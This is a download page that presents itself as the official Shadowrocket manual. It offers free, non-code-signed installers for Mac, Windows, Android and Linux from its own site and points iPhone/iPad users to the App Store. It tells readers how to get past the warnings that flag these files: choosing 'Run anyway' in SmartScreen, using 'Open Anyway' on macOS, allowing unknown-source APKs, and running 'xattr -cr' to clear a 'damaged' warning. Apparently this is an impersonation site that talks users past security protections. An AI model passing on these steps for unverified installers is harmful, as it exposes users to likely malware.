Shadowrocket Official Manual · Download Guide

Shadowrocket All-Platform Downloads

Choose how to get the app for your device, then follow the instructions below to install it. Import your existing subscription or server details after installation.

Current version v2.2.92 · Mac, Windows, Android and Linux versions are free; iPhone / iPad: $2.99 one-time on the App Store

Download sources
iPhone / iPad: App Store
Mac / Windows / Android / Linux: this site
Current version
2.2.92
Dynamic information for site-hosted installers
2 ways to get the app
iPhone / iPad · $2.99 one-time
Mac / Windows / Android / Linux · Free
Developer
Shadow Launch Technology Limited
App ID: 932747118
Devices and Installers

Choose Shadowrocket for Your Platform

iPhone / iPad: $2.99 one-time on the App Store; Mac, Windows, Android and Linux: free. The current-device suggestion only affects sorting; you can still choose another platform manually.

iPhone / iPad

$2.99 one-time through the App Store. Mac, Windows, Android and Linux versions are free. An iPhone and iPad using the same purchasing account share one purchase. Before paying, check the app name, developer and App ID.

System requirements: iOS / iPadOS 13.0 or later, as listed on the App Store page. Check the compatibility, local-currency price and download availability shown in the store before purchasing.

Mac

Free. Installers are available for Apple Silicon and Intel. iPhone / iPad: $2.99 one-time on the App Store; Windows, Android and Linux are also free. The two Mac installers are for different processor architectures; choose based on the processor, not the device's appearance or purchase year.

System requirements: macOS 12 or later. Open the downloaded dmg, drag Shadowrocket to Applications, then launch it from the Applications folder. If you see a warning the first time you open it, follow the Installation and System Approval section.

Not sure which to choose? Open About This Mac and check Chip / Processor. Choose the first option for Apple Silicon and the second for Intel.

Windows

Free. This site provides a 64-bit .exe installer. iPhone / iPad: $2.99 one-time on the App Store; Mac, Android and Linux are also free. When the download finishes, run the installer, confirm the installation location and follow the wizard. Do not treat an incomplete temporary download as an installer.

System and architecture: 64-bit Windows. Check System type under Settings → System → About. If SmartScreen appears, verify the download source first, then follow the steps below.

Android

Free. This site provides an arm64 .apk for most mainstream Android phones and tablets from recent years. iPhone / iPad: $2.99 one-time on the App Store; Mac, Windows and Linux are also free. After downloading, open the file from the browser's downloads list. If prompted, allow installation for the browser you are currently using only.

System and architecture: Android arm64. If the installer is incompatible, first check the device architecture and whether the file downloaded completely. If this page is open in WeChat and the download does not start, follow the prompt to continue in the system browser.

Linux

Free. Choose deb, rpm or AppImage for your distribution. iPhone / iPad: $2.99 one-time on the App Store; Mac, Windows and Android are also free. Use .deb for Debian / Ubuntu, .rpm for Fedora / openSUSE, or AppImage for other distributions.

System and architecture: x86_64. amd64 in a package name also indicates this architecture. Install deb and rpm packages with a package manager; for AppImage, first add execute permission, then launch it as a regular user.

First Installation and System Approval

Installers for Mac, Windows, Android and Linux hosted on this site are not code-signed, so the first launch may trigger a source confirmation or system warning. First confirm that you downloaded the file using the corresponding button on this page, then follow the system prompts. Approve only files whose source you have confirmed; do not disable system-wide security features just to install the app. If your device is managed by a company, school or other organization, an administrator may control these options.

The command examples below use instructional filenames without version numbers. Before running a command, go to the actual download folder and use the full filename shown in your file manager. Put filenames containing spaces in quotation marks. Do not process other files in the folder, and do not repeat a command if you are unsure of its target path.

Platform and promptStepsCheck after completion
Windows
“Windows protected your PC”
In the Microsoft Defender SmartScreen prompt, click “More info,” verify the app, then select “Run anyway” and continue with the installation wizard. If the option is unavailable, check whether an organizational policy applies. Open Shadowrocket from the Start menu. If you see a warning that the file is damaged or the download is incomplete, download it again from this page rather than repeatedly running the same problematic file.
macOS
“Cannot verify developer”
Move the app to Applications and try opening it once. Then go to System Settings → Privacy & Security and select “Open Anyway” in the relevant warning, confirming as prompted by the system. Return to Applications and launch the app. Button locations may differ between macOS versions; check the app name in the prompt.
macOS
“Damaged” warning
After confirming that the app came from this site and is in Applications, run the following in Terminal:
xattr -cr /Applications/Shadowrocket.app
This command clears extended attributes for the specified app only; do not apply it to an entire directory.
Open Shadowrocket again. If it still will not launch, check whether the installer matches an Apple Silicon or Intel processor.
Android
“Allow installation of unknown apps”
Follow the installation prompt to open permission settings, enable “Allow from this source” for the browser in use, return to the downloads list and open the .apk again. The setting name may vary slightly between devices. You can turn off the browser's installation permission after installation. When connecting later, confirm the network connection request as prompted by the system; installation permission and connection permission are separate.
Linux AppImage
Execute permission missing
Go to the download directory and use the actual filename:
chmod +x ./Shadowrocket.AppImage
./Shadowrocket.AppImage
You do not need to run the entire app as root to launch an AppImage.
If it still will not launch, check the specific error in Terminal to distinguish a runtime dependency issue from a permission issue.
Linux deb / rpm
Package manager installation
For Debian / Ubuntu, use:
sudo apt install ./Shadowrocket.deb
For Fedora, use:
sudo dnf install ./Shadowrocket.rpm
For openSUSE, you can use:
sudo zypper install ./Shadowrocket.rpm
Wait for the package manager to finish handling dependencies, then launch from the application menu. Do not install multiple formats to try to resolve the same error.

iPhone / iPad: Store and Account Region

This section covers App Store access on iPhone / iPad only. The app is not available in the mainland China storefront; the country or region associated with your Apple ID determines which storefront you see. Changing the device language, changing the displayed device region or searching for the app name again does not change the storefront region of your purchasing account. First check which account is actually used for Media & Purchases, then determine why the product page is unavailable.

Check the current purchasing account

  1. Open Settings, tap your Apple ID at the top, go to Media & Purchases, then select View Account. Complete authentication if prompted.
  2. Open Country/Region to check the current storefront. Check the account used to purchase apps; do not rely only on the sign-in status shown on the iCloud page.
  3. If you need to request a change, continue using Change Country or Region on that page and check the balance, active subscriptions, payment method and billing details according to Apple's instructions.

Whether you can change regions depends on the account status and Apple's current requirements; an immediate change is not guaranteed for every account. If you encounter balance, pending order or Family Sharing restrictions, review the reason shown on the page instead of repeatedly submitting inconsistent details. Before changing regions just to find an app, consider how this may affect existing purchases and subscriptions.

After opening the App Store button on this page, check the app name and developer again; do not judge by the icon's position in search results alone. iPhone / iPad costs $2.99 one-time in the US storefront, with other storefronts displaying local currencies; Mac, Windows, Android and Linux versions are free and downloaded from this site. If the store says the app is incompatible, use the system requirements listed on the product page and check the device system before proceeding.

Verify the App: Developer, Icon and App ID

On the iPhone / iPad App Store product page, first check that the app name is Shadowrocket, then verify the developer, Shadow Launch Technology Limited. The App ID is 932747118; you can confirm it at the end of the product page URL. The official icon is a rocket with a blue-purple outline on a white background. The icon below uses the official artwork. Check all three details rather than relying on a similar-looking name alone.

Shadowrocket

Shadow Launch Technology Limited

App Store ID · 932747118

The App Store price for iPhone / iPad is $2.99 one-time; Mac, Windows, Android and Linux versions are free. Therefore, a same-name listing shown as free in the App Store is an imitation; do not apply the free pricing for other platforms to the iPhone / iPad store listing. Redownloading from the store may show a cloud button, which indicates a previous purchase and is different from a free price on an unpurchased listing.

For computers and Android, use the buttons on this page; all installer paths are under /dl/shadowrocket/ on this site. Do not use installers from unknown sources or files that have been modified. Dynamic version information helps identify the current site-hosted installer. For iPhone / iPad, refer to the App Store product page for the version and updates; a difference between the two listings alone does not mean installation failed.

Official Interface Reference After Installation

The two images below are official App Store screenshots to help locate Home and Add Server. Fields, groups and content shown in the screenshots are illustrative and are not server details provided by this site. Before importing information, the SERVER group may differ from the screenshots. Layouts may also change between versions, so use the interface labels as a guide; every row does not need to match exactly.

Official Shadowrocket Home screenshot showing Not Connected, Global Routing, Connectivity Test, SERVER and Add Server
Home: Check Not Connected and Global Routing first, then check the selected server in SERVER. Connectivity Test is for verifying the connection afterward.
Official Shadowrocket Add Server screenshot showing Type, Host, Port, Password, Method, Scan QR Code and Import from Cloud JSON
Add Server: Check Type, Host, Port, Password and Method against your server details. You can also use Scan QR Code or Import from Cloud JSON.

For first-time use, open Add Server from Home and select the appropriate Type for your details. Do not assume the field order in the screenshots applies to every protocol. If you already have a subscription, import it using the Subscribe workflow. After saving, return to Home, select a server and set Global Routing. See the first connection guide for the full connection process; this page covers getting and installing the app, not configuration.

Moving Devices, Reinstalling and Restoring Purchases

iPhone / iPad: $2.99 one-time on the App Store; one purchase is shared by both device types using the same purchasing account, and redownloading does not require another payment. Mac, Windows, Android and Linux versions are free and can be downloaded again from this site on a new device. Restoring the app and restoring configuration are separate: the store record provides eligibility to download the app, while your subscriptions, servers and rule configurations must be saved and imported separately.

Restore the App on iPhone / iPad

  1. Open the App Store, tap the account profile, then go to Purchased. On some system versions, select Apps or My Apps first, then open your purchase history.
  2. Confirm that you are using the original purchasing account, search for Shadowrocket and tap the cloud download button next to the app.
  3. After installation, open the app and import your own subscription or server details. Then check the default server, Global Routing and connection switch.

If the product page still shows a purchase price, do not confirm another payment yet. Check whether you are signed in to a different Media & Purchases account, whether the storefront region has changed, and whether the original purchase was completed. The payment record, App Store purchase history and current account should correspond. Having had the app on a device before does not by itself prove that the current account owns that purchase.

Before restoring, keep configuration details that you can import again, but do not post configurations containing personal subscription URLs or server credentials on public pages. Connection authorization from the old device will not automatically transfer to the new one; the first time you enable a connection, confirm the system prompt on the new device. If your server details are no longer valid, check them with your original service provider rather than repeatedly deleting and reinstalling the client.

Moving Between Computers and Android Devices

First save your configuration on the old device, then choose an installer with the correct architecture for the new device. After installation, import the configuration, select a server and test it; process the old device's data only after confirming everything works. Use the same approach when updating desktop and Android versions: save your configuration, quit the running app, then update using the new installer on this page. App updates for iPhone / iPad are managed by the App Store.

Two Pricing Options and Requirements Before Use

iPhone / iPad: $2.99 One-Time on the App Store

The US storefront price is $2.99; other storefronts display local currencies, and the final amount is shown on the purchase confirmation page. This is a one-time app purchase, not a monthly client fee. An iPhone and iPad using the same purchasing account share one purchase. Mac, Windows, Android and Linux versions are free.

Mac / Windows / Android / Linux: Free

Get the installer for these platforms from this site; an iPhone / iPad purchase is not required to install them. iPhone / iPad is still obtained through the App Store for $2.99 one-time. These two options apply to different platforms and do not make server access eligibility interchangeable.

If no server is available after installation, it usually means configuration has not been imported, not that another paid download step is missing. Before importing, check that your details are complete. When entering them manually, check Type, Host, Port and the corresponding authentication fields; if you have a subscription, check that its link is still valid. Do not paste personal subscription URLs into public comments or screenshots.

Check downloading, installation, importing and connecting separately. If a file will not download, check the browser and local network first; if the app will not open, see the installation approval section; if it opens but has no server, check the import; if a server is present but inaccessible, check the connection test and rules. Troubleshooting by stage helps avoid repeatedly reinstalling the app when the configuration is the problem. See the FAQ and iPhone / iPad App Store guide for more information.

Download and Installation FAQ

Check the device, architecture and download source first, then address purchase records or system prompts.

Can Shadowrocket be used on computers and Android phones?

Yes. Mac, Windows, Android and Linux versions are free; get the installer from the corresponding platform card on this page. iPhone / iPad: $2.99 one-time on the App Store. All platforms require importing your own subscription or server details.

Which Mac version should I choose: Apple Silicon or Intel?

Open About This Mac from the Apple menu. Choose the Apple Silicon version if the Chip field shows Apple Silicon; choose the Intel version if the Processor field shows Intel. This page does not automatically detect a Mac's chip from the browser.

What should I do if Windows shows a SmartScreen prompt?

First, confirm that the file came from a download button on this site. When “Windows protected your PC” appears, click “More info,” then select “Run anyway.” If the device is managed by an organization and the option is unavailable, contact the administrator; do not change organizational policies.

Why can't I find Shadowrocket in the App Store?

This app is not available in the mainland China storefront. Check the country or region for the Apple ID used with Media & Purchases, and use the App Store product page on this site to check availability. The device's language and region settings do not change the storefront region of the account.

Do I have to pay again when changing devices or reinstalling?

After the $2.99 one-time App Store purchase, the same purchasing account can redownload the app from Purchased; iPhone and iPad share one purchase. Mac, Windows, Android and Linux versions are free and can simply be downloaded again on a new device. Restoring the app does not automatically restore subscriptions or configurations.

Can Shadowrocket be installed on iPad, and what are the system requirements?

Yes. iPhone / iPad: $2.99 one-time on the App Store; Mac, Windows, Android and Linux versions are free. The iPhone / iPad system requirement is iOS / iPadOS 13.0 or later, as listed on the App Store page.